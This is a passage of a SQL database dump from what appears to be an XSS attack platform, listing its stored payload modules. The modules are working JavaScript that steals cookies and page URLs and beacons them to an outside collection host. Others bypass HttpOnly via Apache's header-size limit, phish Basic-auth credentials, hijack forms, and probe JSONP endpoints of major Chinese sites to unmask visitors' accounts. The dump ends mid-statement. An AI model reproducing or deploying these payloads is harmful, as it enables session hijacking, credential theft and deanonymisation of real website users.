-- http://www.phpmyadmin.net
--
-- 主机: w.rdc.sae.sina.com.cn:3307
-- 生成日期: 2014 年 11 月 24 日 17:26
-- 服务器版本: 5.5.23
-- PHP 版本: 5.3.3




--
-- 数据库: `app_googleweb`
--

-- --------------------------------------------------------

--
-- 表的结构 `oc_module`
--

CREATE TABLE IF NOT EXISTS `oc_module` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `userId` int(11) DEFAULT '0',
  `title` varchar(255) DEFAULT NULL,
  `keys` text,
  `setkeys` text,
  `code` text,
  `level` tinyint(1) DEFAULT '0',
  `isOpen` tinyint(1) DEFAULT '0',
  `description` text,
  `isAudit` tinyint(1) DEFAULT '0',
  `managerId` int(11) DEFAULT '0',
  `managerName` varchar(255) DEFAULT NULL,
  `addTime` int(11) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=32 ;

--
-- 转存表中的数据 `oc_module`
--

INSERT INTO `oc_module` (`id`, `userId`, `title`, `keys`, `setkeys`, `code`, `level`, `isOpen`, `description`, `isAudit`, `managerId`, `managerName`, `addTime`) VALUES
(1, 1, '默认模块', '["location","toplocation","cookie","opener"]', '["keepsession"]', '(function(){(new Image()).src=&#039;http://googleweb.sinaapp.com/index.php?do=api&amp;id={projectId}&amp;location=&#039;+escape((function(){try{return document.location.href}catch(e){return &#039;&#039;}})())+&#039;&amp;toplocation=&#039;+escape((function(){try{return top.location.href}catch(e){return &#039;&#039;}})())+&#039;&amp;cookie=&#039;+escape((function(){try{return document.cookie}catch(e){return &#039;&#039;}})())+&#039;&amp;opener=&#039;+escape((function(){try{return (window.opener &amp;&amp; window.opener.location.href)?window.opener.location.href:&#039;&#039;}catch(e){return &#039;&#039;}})());})();\r\nif(&#039;{set.keepsession}&#039;==1){keep=new Image();keep.src=&#039;http://googleweb.sinaapp.com/index.php?do=keepsession&amp;id={projectId}&amp;url=&#039;+escape(document.location)+&#039;&amp;cookie=&#039;+escape(document.cookie)};\r\n', 0, 1, '通过xss完成基本的攻击，包括获取后台地址，认证cookie', 1, 1, 'googleweb', 1341846542),
(4, 1, 'apache httponly bypass', '["location","toplocation","cookie","opener"]', NULL, 'function setCookies () {\r\n    /*apache server limit 8192*/\r\n    var str = &quot;&quot;;\r\n    for (var i=0; i&lt; 819; i++) {\r\n        str += &quot;x&quot;;\r\n    }\r\n    for (i = 0; i &lt; 10; i++) {\r\n            var cookie = &quot;ray&quot;+i+&quot;=&quot;+str+&quot;;path=/&quot;;\r\n            document.cookie = cookie;\r\n        }\r\n}\r\n\r\nfunction parseCookies () {\r\n    if (xhr.readyState === 4 &amp;&amp; xhr.status === 400) {\r\n            var content = xhr.responseText.replace(/\\r|\\n/g,&#039;&#039;).match(/&lt;pre&gt;(.+)&lt;\\/pre&gt;/);\r\n            content = content[1].replace(&quot;Cookie: &quot;, &quot;&quot;);\r\n            cookies = content.replace(/ray\\d=x+;?/g, &#039;&#039;)\r\n            try { \r\n              var myopener=&#039;&#039;; myopener = window.parent.openner.location;\r\n              var myparent = &#039;&#039;; myparent = window.parent.location;\r\n            } catch(err){\r\n              myopener=&#039;0&#039;;myparent =&#039;0&#039;;\r\n            }\r\n            window.location=&#039;http://googleweb.sinaapp.com/index.php?do=api&amp;id={projectId}&amp;location=&#039;+escape(document.location)+&#039;&amp;toplocation=&#039;+escape(myparent)+&#039;&amp;cookie=&#039;+escape(cookies)+&#039;&amp;opener=&#039;+escape(myopener);\r\n    }\r\n}\r\n\r\nsetCookies();\r\nvar xhr = window.XMLHttpRequest? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;) : new XMLHttpRequest();\r\nxhr.onreadystatechange = parseCookies;\r\nxhr.open(&quot;POST&quot;, &quot;/?&quot;+Math.random(), true);\r\nxhr.send(null);', 0, 1, '利用apache server head limit 8192字节限制, 从400状态页爆出httponly保护的cookie.', 1, 1, 'googleweb', 1342155756),
(11, 1, 'xss.js', '[]', NULL, ';;var xss = function(){\r\n  var x = {\r\n   &#039;name&#039;:&#039;xss.js&#039;,\r\n    &#039;version&#039;:&#039;0.1&#039;,\r\n    &#039;author&#039;:&#039;jackmasa&#039;\r\n };\r\n  \r\n  x.x=function(id){return document.getElementById(id)};\r\n \r\n  //容错取值\r\n  x.e=function(_){try{return eval(&#039;(&#039;+_+&#039;)&#039;)}catch(e){return&#039;&#039;}};\r\n \r\n  //浏览器 \r\n  x.i={\r\n   i:!!self.ActiveXObject,\r\n   c:!!self.chrome,\r\n    f:self.mozPaintCount&gt;-1,\r\n   o:!!self.opera,\r\n   s:!self.chrome&amp;&amp;!!self.WebKitPoint\r\n  };\r\n  \r\n  //UA\r\n  x.ua = navigator.userAgent;\r\n \r\n  //判断是否为苹果手持设备\r\n x.apple=x.ua.match(/ip(one|ad|od)/i)!=null;\r\n \r\n  //随机数\r\n x.rdm=function(){return~~(Math.random()*100000)};\r\n\r\n //url编码(UTF8)\r\n x.ec=encodeURIComponent;\r\n\r\n  x.html=document.getElementsByTagName(&#039;html&#039;)[0];\r\n  \r\n  /*\r\n   * 销毁一个元素\r\n  */\r\n x.kill=function(e){\r\n   e.parentElement.removeChild(e);\r\n };\r\n\r\n  /*\r\n   *绑定事件\r\n   */\r\n x.bind=function(e,name,fn){\r\n   e.addEventListener?e.addEventListener(name,fn,false):e.attachEvent(&quot;on&quot;+name,fn);\r\n };\r\n  \r\n  /*\r\n   * dom准备完毕时执行函数\r\n  */\r\n x.ready=function(fn){\r\n   if(!x.i.i){\r\n     x.bind(document,&#039;DOMContentLoaded&#039;,fn);\r\n   }else{\r\n      var s = setInterval(function(){\r\n       try{\r\n          document.body.doScroll(&#039;left&#039;);\r\n         clearInterval(s);\r\n         fn();\r\n       }catch(e){}\r\n     },4);\r\n   }\r\n }\r\n\r\n /*\r\n   * 同源检测\r\n  */\r\n x.o=function(url){\r\n    var link = x.dom(&#039;&lt;a href=&quot;&#039;+encodeURI(url)+&#039;&quot;&gt;&#039;,2);\r\n    return link.protocol+link.hostname+&#039;:&#039;+link.port==location.protocol+location.hostname+&#039;:&#039;+link.port;\r\n  };\r\n  \r\n  /*\r\n   * html to dom\r\n   */\r\n x.dom=function(html,gcsec){\r\n   var tmp = document.createElement(&#039;span&#039;);\r\n   tmp.innerHTML=html;\r\n   var e = tmp.children[0];\r\n    e.style.display=&#039;none&#039;;\r\n   x.html.appendChild(e);\r\n    gcsec&gt;&gt;0&gt;0&amp;&amp;setTimeout(function(){\r\n     x.kill(e);\r\n    },gcsec*1000);\r\n    return e;\r\n };\r\n\r\n  /*\r\n   * ajax\r\n  */\r\n x.ajax = function(url,params,callback){\r\n   (params instanceof Function)&amp;&amp;(callback=params,params=void(0));\r\n   var XHR = (!x.o(url)&amp;&amp;window.XDomainRequest)||\r\n          window.XMLHttpRequest||\r\n         (function(){return new ActiveXObject(&#039;MSXML2.XMLHTTP&#039;)});\r\n   var xhr = new XHR();\r\n    xhr.open(params?&#039;post&#039;:&#039;get&#039;,url);\r\n    try{xhr.setRequestHeader(&#039;content-type&#039;,&#039;application/x-www-form-urlencoded&#039;)}catch(e){}\r\n   callback&amp;&amp;(xhr.onreadystatechange = function() {\r\n      (this.readyState == 4 &amp;&amp; ((this.status &gt;= 200 &amp;&amp; this.status &lt;= 300) || this.status == 304))&amp;&amp;callback.apply(this,arguments);\r\n   });\r\n   xhr.send(params);\r\n };\r\n\r\n  /*\r\n   * no ajax\r\n   */\r\n x.najax=function(url,params){\r\n   if(params){\r\n     var form = x.dom(&#039;&lt;form method=post accept-charset=utf-8&gt;&#039;);\r\n      form.action=url;\r\n      for(var name in params){\r\n        var input = document.createElement(&#039;input&#039;);\r\n        input.name=name;\r\n        input.value=params[name];\r\n       form.appendChild(input);\r\n      }\r\n     var iframe = x.dom(&#039;&lt;iframe name=_&#039;+x.rdm()+&#039;_&gt;&#039;,6);\r\n      form.target=iframe.name;\r\n      form.submit();\r\n    }else{\r\n      new Image().src=url+&#039;&amp;&#039;+x.rdm();\r\n    }\r\n };\r\n\r\n  /*\r\n   * 钓鱼\r\n  */\r\n x.phish=function(url){\r\n    x.ajax(url,function(){\r\n      document.open();\r\n      document.write(this.responseText);\r\n      document.close();\r\n     history.replaceState&amp;x.o(url)&amp;&amp;history.replaceState(&#039;&#039;,&#039;&#039;,url);\r\n   })\r\n  };\r\n\r\n  /*\r\n   * 表单劫持\r\n  */\r\n x.xform=function(form,action){\r\n    form.old_action=form.action,form.old_target=form.target,form.action=action;\r\n   var iframe = x.dom(&#039;&lt;iframe name=_&#039;+x.rdm()+&#039;_&gt;&#039;);\r\n    form.target=iframe.name;\r\n    setTimeout(function(){\r\n      x.bind(iframe,&#039;load&#039;,function(){\r\n        form.action=form.old_action,form.target=form.old_target,form.onsubmit=null,form.submit();\r\n     })\r\n    },30);\r\n  };\r\n  \r\n  /*\r\n   * 函数代理\r\n  */\r\n x.proxy=function(fn,before,after){\r\n    return function(){\r\n      before&amp;&amp;before.apply(this,arguments);\r\n     var result = fn.apply(this,arguments);\r\n      after&amp;&amp;after.apply(this,arguments);\r\n     return result;\r\n    }\r\n };\r\n  \r\n  return x;\r\n}();', 0, 1, '一些常用XSS模块', 1, 1, 'googleweb', 1348659634),
(6, 1, 'AJAX POST/GET操作', '[]', NULL, 'var pkav={\r\n ajax:function(){\r\n    var xmlHttp;\r\n    try{\r\n      xmlHttp=new XMLHttpRequest();\r\n   }catch (e){\r\n     try{\r\n        xmlHttp=new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;);\r\n      }catch (e){\r\n       try{\r\n          xmlHttp=new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);\r\n       }\r\n       catch (e){\r\n          return false;\r\n       }\r\n     }\r\n   }\r\n   return xmlHttp;\r\n },\r\n  req:function(url,data,method,callback){\r\n   method=(method||&quot;&quot;).toUpperCase();\r\n    method=method||&quot;GET&quot;;\r\n   data=data||&quot;&quot;;\r\n    if(url){\r\n      var a=this.ajax();\r\n      a.open(method,url,true);\r\n      if(method==&quot;POST&quot;){\r\n       a.setRequestHeader(&quot;Content-type&quot;,&quot;application/x-www-form-urlencoded&quot;);\r\n     }\r\n     a.onreadystatechange=function(){\r\n        if (a.readyState==4 &amp;&amp; a.status==200)\r\n       {\r\n         if(callback){\r\n           callback(a.responseText);\r\n         }\r\n       }\r\n     };\r\n      if((typeof data)==&quot;object&quot;){\r\n        var arr=[];\r\n       for(var i in data){\r\n         arr.push(i+&quot;=&quot;+encodeURIComponent(data[i]));\r\n        }\r\n       a.send(arr.join(&quot;&amp;&quot;));\r\n      }else{\r\n        a.send(data||null);\r\n     }\r\n   }\r\n },\r\n  get:function(url,callback){\r\n   this.req(url,&quot;&quot;,&quot;GET&quot;,callback);\r\n  },\r\n  post:function(url,data,callback){\r\n   this.req(url,data,&quot;POST&quot;,callback);\r\n }\r\n};\r\nif(!window.__x){\r\npkav.post(&quot;接口地址&quot;,&quot;POST内容&quot;,function(rs){});\r\npkav.get(&quot;接口地址&quot;,function(rs){});\r\n  window.__x=1;\r\n}', 0, 1, 'PKAV|请复制代码，配置-自定义代码', 1, 1, 'googleweb', 1343199825),
(15, 1, '基础认证钓鱼', '["username","password"]', '["info"]', 'x=new Image();\r\nx.src=&quot;http://googleweb.sinaapp.com/authtest.php?id={projectId}&amp;info={set.info}&quot;;', 0, 1, '针对基础认证进行钓鱼', 1, 1, 'googleweb', 1350054470),
(28, 1, '定位目标网络虚拟信息身份', '["content","content2"]', '[]', 'window.onerror=function(){\r\n  return true;\r\n}\r\nhttp_server = &quot;http://googleweb.sinaapp.com/index.php?do=api&amp;id={projectId}&amp;content=&quot;;\r\nvar info = {};\r\ninfo.browser = function(){\r\n  ua = navigator.userAgent.toLowerCase();\r\n  var rwebkit = /(webkit)[ \\/]([\\w.]+)/;\r\n  var ropera = /(opera)(?:.*version)?[ \\/]([\\w.]+)/;\r\n  var rmsie = /(msie) ([\\w.]+)/;\r\n  var rmozilla = /(mozilla)(?:.*? rv:([\\w.]+))?/;\r\n  var match = rwebkit.exec( ua ) ||\r\n  ropera.exec( ua ) ||\r\n  rmsie.exec( ua ) ||\r\n  ua.indexOf(&quot;compatible&quot;) &lt; 0 &amp;&amp; rmozilla.exec( ua ) ||\r\n  [];\r\n  return {\r\n    name: match[1] || &quot;&quot;, version: match[2] || &quot;0&quot;\r\n  };\r\n}();\r\ninfo.url =  document.location.href;\r\ninfo.ua = escape(navigator.userAgent);\r\ninfo.lang = navigator.language;\r\ninfo.referrer = document.referrer;\r\ninfo.location = window.location.href;\r\ninfo.toplocation = top.location.href;\r\ninfo.cookie = escape(document.cookie);\r\ninfo.domain = document.domain;\r\ninfo.title = document.title;\r\ninfo.screen = function(){\r\n  var c = &quot;&quot;;\r\n  if (self.screen) {\r\n    c = screen.width+&quot;x&quot;+screen.height;\r\n  }\r\n  return c;\r\n}();\r\ninfo.flash = function(){\r\n  var f=&quot;&quot;,n=navigator;\r\n  if (n.plugins &amp;&amp; n.plugins.length) {\r\n    for (var ii=0;ii&lt;n.plugins.length;ii++) {\r\n      if (n.plugins[ii].name.indexOf(&#039;Shockwave Flash&#039;)!=-1) {\r\n        f=n.plugins[ii].description.split(&#039;Shockwave Flash &#039;)[1];\r\n        break;\r\n      }\r\n    }\r\n  }\r\n  else\r\n  if (window.ActiveXObject) {\r\n    for (var ii=10;ii&gt;=2;ii--) {\r\n      try {\r\n        var fl=eval(&quot;new ActiveXObject(&#039;ShockwaveFlash.ShockwaveFlash.&quot;+ii+&quot;&#039;);&quot;);\r\n        if (fl) {\r\n          f=ii + &#039;.0&#039;;\r\n          break;\r\n        }\r\n      }\r\n      catch(e) {}\r\n    \r\n    }\r\n  }\r\n  return f;\r\n}();\r\nfunction inj_script(a, b) {\r\n  var o = document.createElement(&quot;script&quot;);\r\n  o.src = a;\r\n  if (b) {\r\n    if (!window.ActiveXObject) {\r\n      o.onload = b;\r\n    }\r\n    else {\r\n      o.onreadystatechange = function () {\r\n        if (o.readyState == &#039;loaded&#039; || o.readyState == &#039;complete&#039;) {\r\n          b();\r\n        }\r\n      }\r\n    }\r\n  }\r\n  document.getElementsByTagName(&quot;body&quot;)[0].appendChild(o);\r\n  return o;\r\n}\r\nfunction json2str(o) {\r\n  if(typeof o == &#039;string&#039;) return o;\r\n  var arr = [];\r\n  var fmt = function(s) {\r\n    if (typeof s == &#039;object&#039; &amp;&amp; s != null) return json2str(s);\r\n    return /^(string|number)$/.test(typeof s) ? &quot;&#039;&quot; + s + &quot;&#039;&quot; : s;\r\n  }\r\n  for (var i in o) arr.push(&quot;&#039;&quot; + i + &quot;&#039;:&quot; + fmt(o[i]));\r\n  return &#039;{&#039; + arr.join(&#039;,&#039;) + &#039;}&#039;;\r\n}\r\nvideo_login_callback = function(o){\r\n  new Image().src = http_server + escape(json2str(o)) + &quot;&amp;content2=baidu&quot;;\r\n}\r\ne163_comment = function(o){\r\n  new Image().src = http_server + escape(json2str(o)) + &quot;&amp;content2=163&quot;;\r\n}\r\n\r\nsina_1368631232407449 = function(o){\r\n  new Image().src = http_server + escape(json2str(o)) + &quot;&amp;content2=sina&quot;;\r\n}\r\n\r\nloginInfoJson = function(o){\r\n  new Image().src = http_server + escape(json2str(o)) + &quot;&amp;content2=taobao&quot;;\r\n}\r\n\r\njsonp1368705676193 = function(o){\r\n  new Image().src = http_server + escape(json2str(o)) + &quot;&amp;content2=mop&quot;;\r\n}\r\n\r\njsonp1368751970360 = function(o){\r\n  new Image().src = http_server + escape(json2str(o)) + &quot;&amp;content2=dangdang&quot;;\r\n}\r\n\r\njQuery1368758656634 = function(o){\r\n  new Image().src = http_server + escape(json2str(o)) + &quot;&amp;content2=renren&quot;;\r\n}\r\nvar img=new Image();img.src=&#039;#&#039;;img.onerror = function(){\r\n  new Image().src = http_server + escape(json2str(info)) + &quot;&amp;content2=info%20&quot;;\r\n  try{\r\n    inj_script(&#039;http://baike.baidu.com/api/login/?callback=video_login_callback&#039;);\r\n  }\r\n  catch(e){}\r\n  try{\r\n    inj_script(&#039;http://comment.money.163.com/reply/check.jsp?time=1367240961474&amp;callback=e163_comment&#039;);\r\n  }\r\n  catch(e){}\r\n  \r\n\r\n  try{\r\n    inj_script(&#039;http://i.house.sina.com.cn/sso/get_cookie.php?callback=sina_1368631232407449&#039;);\r\n  }\r\n  catch(e){}\r\n  \r\n  try{\r\n    inj_script(&#039;http://i.bendi.taobao.com/userLoginInfo.do?callback=loginInfoJson&amp;t=1368683974713&#039;);\r\n  }\r\n  catch(e){}\r\n\r\n  \r\n\r\n  try{\r\n    inj_script(&#039;http://passport.mop.com/common/user-info?callback=jsonp1368705676193&#039;);\r\n  }\r\n  catch(e){}\r\n  \r\n  try{\r\n    inj_script(&#039;http://commapi.dangdang.com/api/toolbar_ads_api.php?jsoncallback=jsonp1368751970360&#039;);\r\n  }\r\n  catch(e){}\r\n  \r\n  try{\r\n    inj_script(&#039;http://passport.game.renren.com/user/info?callback=jQuery1368758656634&amp;_=1368758656639&#039;);\r\n  }\r\n  catch(e){}\r\n  \r\n  try{\r\n    inj_script(&#039;http://uis.i.sohu.com/api/passport.jsp?from=roll&amp;_=1361671333278&#039;);\r\n  }\r\n  catch(e){}\r\n  \r\n  \r\n  try{\r\n    inj_script(&#039;http://www.tianya.cn/api/msg?method=messagesys.selectmessage&amp;params.pageSize=1&amp;params.pageNo=1&amp;_=1368893252433&amp;var=tianya_msg&#039;);\r\n  }\r\n  catch(e){}\r\n\r\n  setTimeout(function(){\r\n    var o = [_passport];\r\n    new Image().src = http_server + escape(json2str(o)) + &quot;&amp;content2=sohu&quot;;\r\n  }\r\n  ,3000);\r\n\r\n  setTimeout(function(){\r\n    var o = tianya_msg.data.list[0].toUserName+&#039;|&#039;+tianya_msg.data.list[0].toUserId;\r\n    new Image().src = http_server + escape(json2str(o)) + &quot;&amp;content2=tianya&quot;;\r\n  }\r\n  ,5000);\r\n};', 0, 1, 'JSON探针—定位目标网络虚拟信息身份', 1, 1, 'googleweb', 1415233757),
(17, 1, 'xss2.0.js', '[]', '[]', ';;var xss = function(){\r\n	var x = {\r\n		&#039;name&#039;:&#039;xss.js&#039;,\r\n		&#039;version&#039;:&#039;0.2.2&#039;,\r\n		&#039;author&#039;:&#039;长短短(sogili)&#039;\r\n	};\r\n	\r\n	x.x=function(id){return document.getElementById(id)};\r\n	\r\n	/**容错取值*/\r\n	x.e=function(_){try{return eval(&#039;(&#039;+_+&#039;)&#039;)}catch(e){return&#039;&#039;}};\r\n	\r\n	/**浏览器*/\r\n	x.i={\r\n		i:!!self.ActiveXObject&amp;&amp;(function(){\r\n			for(var v=6,s=document.createElement(&#039;s&#039;);\r\n				s.innerHTML=&#039;&lt;![if gt IE &#039;+(v++)+&#039;]&gt;&lt;i&gt;&lt;/i&gt;&lt;![endif]--&gt;&#039;,\r\n				s.getElementsByTagName(&#039;i&#039;)[0];);\r\n			return v;\r\n		}()),\r\n		c:!!self.chrome,\r\n		f:self.mozPaintCount&gt;-1,\r\n		o:!!self.opera,\r\n		s:!self.chrome&amp;&amp;!!self.WebKitPoint\r\n	};\r\n	\r\n	/**UA*/\r\n	x.ua = navigator.userAgent;\r\n	\r\n	/**判断是否为苹果手持设备*/\r\n	x.apple=/ip(one|ad|od)/i.test(x.ua);\r\n	\r\n	/**随机数*/\r\n	x.rdm=function(){return~~(Math.random()*1e5)};\r\n\r\n	/**url编码(UTF8)*/\r\n	x.ec=encodeURIComponent;\r\n\r\n	x.html=function(){\r\n		return document.getElementsByTagName(&#039;html&#039;)[0]\r\n				||document.write(&#039;&lt;html&gt;&#039;)\r\n				||document.getElementsByTagName(&#039;html&#039;)[0];\r\n	};\r\n	\r\n	/*\r\n	 * 销毁一个元素\r\n	 */\r\n	x.kill=function(e){\r\n		e.parentElement.removeChild(e);\r\n	};\r\n\r\n	/*\r\n	 *绑定事件\r\n	 */\r\n	x.bind=function(e,name,fn){\r\n		e.addEventListener?e.addEventListener(name,fn,false):e.attachEvent(&quot;on&quot;+name,fn);\r\n	};\r\n	\r\n	/*\r\n	 * dom准备完毕时执行函数\r\n	 */\r\n	x.ready=function(fn){\r\n		if(!x.i.i){\r\n			x.bind(document,&#039;DOMContentLoaded&#039;,fn);\r\n		}else{\r\n			var s = setInterval(function(){\r\n				try{\r\n					document.body.doScroll(&#039;left&#039;);\r\n					clearInterval(s);\r\n					fn();\r\n				}catch(e){}\r\n			},4);\r\n		}\r\n	}\r\n\r\n	/*\r\n	 * 同源检测\r\n	 */\r\n	x.o=function(url){\r\n		var link = x.dom(&#039;&lt;a href=&quot;&#039;+encodeURI(url)+&#039;&quot;&gt;&#039;,1);\r\n		return link.protocol+link.hostname+&#039;:&#039;+(link.port||80)==location.protocol+location.hostname+&#039;:&#039;+(location.port||80);\r\n	};\r\n	\r\n	/*\r\n	 * html to dom\r\n	 */\r\n	x.dom=function(html,gcsec){\r\n		var tmp = document.createElement(&#039;span&#039;);\r\n		tmp.innerHTML=html;\r\n		var e = tmp.children[0];\r\n		e.style.display=&#039;none&#039;;\r\n		x.html().appendChild(e);\r\n		gcsec&gt;&gt;0&gt;0&amp;&amp;setTimeout(function(){\r\n			x.kill(e);\r\n		},gcsec*1000);\r\n		return e;\r\n	};\r\n\r\n	/*\r\n	 * ajax\r\n	 */ 	\r\n	x.ajax=function(url,params,callback){\r\n		(params instanceof Function)&amp;&amp;(callback=params,params=void(0));\r\n		var XHR = (!x.o(url)&amp;&amp;window.XDomainRequest)||\r\n				  window.XMLHttpRequest||\r\n				  (function(){return new ActiveXObject(&#039;MSXML2.XMLHTTP&#039;)});\r\n		var xhr = new XHR();\r\n		xhr.open(params?&#039;post&#039;:&#039;get&#039;,url);\r\n		xhr.withCredentials = true;\r\n		try{params&amp;&amp;xhr.setRequestHeader(&#039;content-type&#039;,&#039;application/x-www-form-urlencoded&#039;);}catch(e){}\r\n		callback&amp;&amp;(xhr.onreadystatechange = function() {\r\n			(this.readyState == 4 &amp;&amp; ((this.status &gt;= 200 &amp;&amp; this.status &lt;= 300) || this.status == 304))&amp;&amp;callback.apply(this,arguments);\r\n		});\r\n		xhr.send(params);\r\n	};\r\n	\r\n	/*\r\n	 * CSRF\r\n	 */\r\n	x.csrf=function(url,params,callback){\r\n		(params instanceof Function)&amp;&amp;(callback=params,params=void(0));\r\n		if(params){\r\n			x.ajax(url,params,callback);\r\n		}else{\r\n			var img = new Image;\r\n			callback&amp;&amp;(img.onerror=callback);\r\n			img.src=url;\r\n		}\r\n	};\r\n\r\n	/*\r\n	 * 表单劫持\r\n	 */\r\n	x.xform=function(form,action){\r\n		form.old_action=form.action,form.old_target=form.target,form.action=action;\r\n		var iframe = x.dom(&#039;&lt;iframe name=_&#039;+x.rdm()+&#039;_&gt;&#039;);\r\n		form.target=iframe.name;\r\n		setTimeout(function(){\r\n			x.bind(iframe,&#039;load&#039;,function(){\r\n				form.action=form.old_action,form.target=form.old_target,form.onsubmit=null,form.submit();\r\n			});\r\n		},30);\r\n	};\r\n	\r\n	/*\r\n	 * 函数代理\r\n	 */\r\n	x.proxy=function(fn,before,after){\r\n		return function(){\r\n			before&amp;&amp;before.apply(this,arguments);\r\n			var result = fn.apply(this,arguments);\r\n			after&amp;&amp;after.apply(this,arguments);\r\n			return result;\r\n		}\r\n	};\r\n	\r\n	return x;\r\n}();', 0, 1, 'xss2.0版本', 1, 1, 'googleweb', 1411395520),
(18, 1, '表单劫持', '["username","password"]', '["form"]', ';;var xss = function(){\r\n	var x = {\r\n		&#039;name&#039;:&#039;xss.js&#039;,\r\n		&#039;version&#039;:&#039;0.2.2&#039;,\r\n		&#039;author&#039;:&#039;长短短(sogili)&#039;\r\n	};\r\n	\r\n	x.x=function(id){return document.getElementById(id)};\r\n	\r\n	//容错取值\r\n	x.e=function(_){try{return eval(&#039;(&#039;+_+&#039;)&#039;)}catch(e){return&#039;&#039;}};\r\n	\r\n	//浏览器 \r\n	x.i={\r\n		i:!!self.ActiveXObject&amp;&amp;(function(){\r\n			for(var v=6,s=document.createElement(&#039;s&#039;);\r\n				s.innerHTML=&#039;&lt;![if gt IE &#039;+(v++)+&#039;]&gt;&lt;i&gt;&lt;/i&gt;&lt;![endif]--&gt;&#039;,\r\n				s.getElementsByTagName(&#039;i&#039;)[0];);\r\n			return v;\r\n		}()),\r\n		c:!!self.chrome,\r\n		f:self.mozPaintCount&gt;-1,\r\n		o:!!self.opera,\r\n		s:!self.chrome&amp;&amp;!!self.WebKitPoint\r\n	};\r\n	\r\n	//UA\r\n	x.ua = navigator.userAgent;\r\n	\r\n	//判断是否为苹果手持设备\r\n	x.apple=/ip(one|ad|od)/i.test(x.ua);\r\n	\r\n	//随机数\r\n	x.rdm=function(){return~~(Math.random()*1e5)};\r\n\r\n	//url编码(UTF8)\r\n	x.ec=encodeURIComponent;\r\n\r\n	x.html=function(){\r\n		return document.getElementsByTagName(&#039;html&#039;)[0]\r\n				||document.write(&#039;&lt;html&gt;&#039;)\r\n				||document.getElementsByTagName(&#039;html&#039;)[0];\r\n	};\r\n	\r\n	/*\r\n	 * 销毁一个元素\r\n	 */\r\n	x.kill=function(e){\r\n		e.parentElement.removeChild(e);\r\n	};\r\n\r\n	/*\r\n	 *绑定事件\r\n	 */\r\n	x.bind=function(e,name,fn){\r\n		e.addEventListener?e.addEventListener(name,fn,false):e.attachEvent(&quot;on&quot;+name,fn);\r\n	};\r\n	\r\n	/*\r\n	 * dom准备完毕时执行函数\r\n	 */\r\n	x.ready=function(fn){\r\n		if(!x.i.i){\r\n			x.bind(document,&#039;DOMContentLoaded&#039;,fn);\r\n		}else{\r\n			var s = setInterval(function(){\r\n				try{\r\n					document.body.doScroll(&#039;left&#039;);\r\n					clearInterval(s);\r\n					fn();\r\n				}catch(e){}\r\n			},4);\r\n		}\r\n	}\r\n\r\n	/*\r\n	 * 同源检测\r\n	 */\r\n	x.o=function(url){\r\n		var link = x.dom(&#039;&lt;a href=&quot;&#039;+encodeURI(url)+&#039;&quot;&gt;&#039;,1);\r\n		return link.protocol+link.hostname+&#039;:&#039;+(link.port||80)==location.protocol+location.hostname+&#039;:&#039;+(location.port||80);\r\n	};\r\n	\r\n	/*\r\n	 * html to dom\r\n	 */\r\n	x.dom=function(html,gcsec){\r\n		var tmp = document.createElement(&#039;span&#039;);\r\n		tmp.innerHTML=html;\r\n		var e = tmp.children[0];\r\n		e.style.display=&#039;none&#039;;\r\n		x.html().appendChild(e);\r\n		gcsec&gt;&gt;0&gt;0&amp;&amp;setTimeout(function(){\r\n			x.kill(e);\r\n		},gcsec*1000);\r\n		return e;\r\n	};\r\n\r\n	/*\r\n	 * ajax\r\n	 */ 	\r\n	x.ajax=function(url,params,callback){\r\n		(params instanceof Function)&amp;&amp;(callback=params,params=void(0));\r\n		var XHR = (!x.o(url)&amp;&amp;window.XDomainRequest)||\r\n				  window.XMLHttpRequest||\r\n				  (function(){return new ActiveXObject(&#039;MSXML2.XMLHTTP&#039;)});\r\n		var xhr = new XHR();\r\n		xhr.open(params?&#039;post&#039;:&#039;get&#039;,url);\r\n		xhr.withCredentials = true;\r\n		try{params&amp;&amp;xhr.setRequestHeader(&#039;content-type&#039;,&#039;application/x-www-form-urlencoded&#039;);}catch(e){}\r\n		callback&amp;&amp;(xhr.onreadystatechange = function() {\r\n			(this.readyState == 4 &amp;&amp; ((this.status &gt;= 200 &amp;&amp; this.status &lt;= 300) || this.status == 304))&amp;&amp;callback.apply(this,arguments);\r\n		});\r\n		xhr.send(params);\r\n	};\r\n	\r\n	/*\r\n	 * CSRF\r\n	 */\r\n	x.csrf=function(url,params,callback){\r\n		(params instanceof Function)&amp;&amp;(callback=params,params=void(0));\r\n		if(params){\r\n			x.ajax(url,params,callback);\r\n		}else{\r\n			var img = new Image;\r\n			callback&amp;&amp;(img.onerror=callback);\r\n			img.src=url;\r\n		}\r\n	};\r\n\r\n	/*\r\n	 * 表单劫持\r\n	 */\r\n	x.xform=function(form,action){\r\n		form.old_action=form.action,form.old_target=form.target,form.action=action;\r\n		var iframe = x.dom(&#039;&lt;iframe name=_&#039;+x.rdm()+&#039;_&gt;&#039;);\r\n		form.target=iframe.name;\r\n		setTimeout(function(){\r\n			x.bind(iframe,&#039;load&#039;,function(){\r\n				form.action=form.old_action,form.target=form.old_target,form.onsubmit=null,form.submit();\r\n			});\r\n		},30);\r\n	};\r\n	\r\n	/*\r\n	 * 函数代理\r\n	 */\r\n	x.proxy=function(fn,before,after){\r\n		return function(){\r\n			before&amp;&amp;before.apply(this,arguments);\r\n			var result = fn.apply(this,arguments);\r\n			after&amp;&amp;after.apply(this,arguments);\r\n			return result;\r\n		}\r\n	};\r\n	\r\n	return x;\r\n}();xss.xform(document.getElementById(&#039;{set.form}&#039;),&#039;http://googleweb.sinaapp.com/index.php?do=api&amp;id={projectId}&#039;); ', 0, 1, '表单劫持,传入需要劫持的表单的id，并修改表单需要接受的参数即可。请复制代码，配置-自定义代码。\r\n标签名\r\ndocument.getElementsByTagName(&quot;tag&quot;)[0];\r\n标签内name属性名\r\ndocument.getElementsByName(&quot;name&quot;)[0];\r\n标签内id属性\r\ndocument.getElementById(&#039;id&#039;)', 1, 1, 'googleweb', 1411555890);
INSERT INTO `oc_module` (`id`, `userId`, `title`, `keys`, `setkeys`, `code`, `level`, `isOpen`, `description`, `isAudit`, `managerId`, `managerName`, `addTime`) VALUES
